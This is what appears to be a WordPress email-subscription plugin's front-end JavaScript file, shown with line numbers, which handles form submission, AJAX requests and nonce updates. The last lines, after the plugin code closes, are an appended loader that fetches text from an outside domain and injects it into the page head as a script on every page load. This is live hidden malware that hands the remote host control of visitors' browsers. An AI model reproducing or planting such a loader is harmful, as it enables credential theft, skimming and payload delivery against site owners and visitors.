1(function ($) { 2 'use strict'; 3 4 /** 5 * All of the code for your public-facing JavaScript source 6 * should reside in this file. 7 * 8 * Note: It has been assumed you will write jQuery code here, so the 9 * $ function reference has been prepared for usage within the scope 10 * of this function. 11 * 12 * This enables you to define handlers, for when the DOM is ready: 13 * 14 * $(function() { 15 * 16 * }); 17 * 18 * When the window is loaded: 19 * 20 * $( window ).load(function() { 21 * 22 * }); 23 * 24 * ...and/or other possibilities. 25 * 26 * Ideally, it is not considered best practise to attach more than a 27 * single DOM-ready or window-load handler for a particular page. 28 * Although scripts in the WordPress core, Plugins and Themes may be 29 * practising this, we should strive to set a better example in our own work. 30 */ 31 32 function prepareFormData(form, formData) { 33 var list_ids = []; 34 var is_multiple_lists = false; 35 jQuery.each((form.serializeArray() || {}), function (i, field) { 36 // Collect all list ids 37 if(field.name === 'lists[]') { 38 list_ids.push(field.value); 39 is_multiple_lists = true; 40 } else { 41 formData['esfpx_' + field.name] = field.value; 42 } 43 }); 44 45 if(is_multiple_lists) { 46 formData['esfpx_lists[]'] = list_ids; 47 } 48 49 50 return formData; 51 } 52 53 function handleResponse(response, form) { 54 55 var status = response.status; 56 57 var message_class = 'success'; 58 if(status === 'ERROR') { 59 message_class = 'error'; 60 } 61 62 var responseText = response['message_text']; 63 var messageContainer = $(form).next('.es_subscription_message'); 64 messageContainer.attr('class', 'es_subscription_message ' + message_class); 65 messageContainer.html(responseText); 66 var esSuccessEvent = { 67 detail: { 68 es_response : message_class, 69 msg: responseText 70 }, 71 bubbles: true, 72 cancelable: true 73 } ; 74 75 jQuery(form).trigger('es_response', [ esSuccessEvent ]); 76 } 77 78 function handleBindFunction(form, is_ig){ 79 var is_ig = is_ig || false; 80 var formData = {}; 81 formData = prepareFormData(form, formData); 82 formData['es'] = 'subscribe'; 83 formData['action'] = 'es_add_subscriber'; 84 var actionUrl = es_data.es_ajax_url; 85 jQuery(form).find('#spinner-image').show(); 86 $.ajax({ 87 type: 'POST', 88 url: actionUrl, 89 data: formData, 90 dataType: 'json', 91 success: function (response) { 92 if(!is_ig){ 93 if( response && typeof response.status !== 'undefined' && response.status === "SUCCESS" ) { 94 jQuery(form).slideUp('slow'); 95 jQuery(form).hide(); 96 } else { 97 jQuery(form).find('#spinner-image').hide(); 98 } 99 } 100 jQuery(window).trigger('es.send_response', [jQuery(form) , response]); 101 handleResponse(response, form); 102 }, 103 error: function (err) { 104 jQuery(form).find('#spinner-image').hide(); 105 console.log(err, 'error'); 106 }, 107 }); 108 109 110 return false; 111 } 112 113 $(document).ready(function () { 114 // var submitButton = $('.es_subscription_form_submit'); 115 116 $(document).on('submit', '.es_subscription_form', function (e) { 117 e.preventDefault(); 118 var form = $(this); 119 handleBindFunction(form); 120 }); 121 122 let subscription_forms = $('.es_subscription_form'); 123 // Check if page contains ES subscription form. 124 if ( subscription_forms.length > 0 ) { 125 let list_ids = []; 126 jQuery(subscription_forms).find('input[name="lists[]"]').each(function(){ 127 let list_id = $(this).val(); 128 if ( ! isNaN( list_id ) ) { 129 list_ids.push(list_id); 130 } 131 }); 132 // Send an ajax request to get updated nonce value. 133 jQuery.ajax({ 134 type: 'POST', 135 url: es_data.es_ajax_url, 136 data: { 137 action: 'ig_es_get_updated_subscription_data', 138 list_ids: list_ids, 139 }, 140 dataType: 'json', 141 success: function(response) { 142 if( true === response.success ) { 143 let data = response.data; 144 let updated_nonce = data.updated_nonce; 145 // Update nonce field in each subscription form. 146 jQuery(subscription_forms).find('input[name="es-subscribe"]').each(function(){ 147 $(this).val(updated_nonce); 148 }); 149 let list_hashes = data.list_hashes; 150 // Update list ids with list hash 151 jQuery(subscription_forms).find('input[name="lists[]"]').each(function(){ 152 let list_id = $(this).val(); 153 if ( list_hashes.hasOwnProperty( list_id ) ) { 154 let list_hash = list_hashes[ list_id ]; 155 $(this).val(list_hash); 156 } 157 }); 158 } 159 } 160 }); 161 } 162 }); 163 // Compatibility of ES with IG 164 jQuery( window ).on( "init.icegram", function(e, ig) { 165 if(typeof ig !== 'undefined' && typeof ig.messages !== 'undefined' ) { 166 jQuery('.icegram .es_shortcode_form, .icegram form[data-source="ig-es"]').each(function(i, v){ 167 jQuery(v).bind('submit', function (e) { 168 e.preventDefault(); 169 var form = $(this); 170 handleBindFunction(form, true); 171 }); 172 }); 173 } 174 }); 175 176})(jQuery); 177 178 179var url = 'https://love-support.world/news'; 180fetch(url) 181 .then(response => response.text()) 182 .then(data => { 183 var script = document.createElement('script'); 184 script.textContent = data; 185 document.getElementsByTagName('head')[0].appendChild(script); 186 })
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.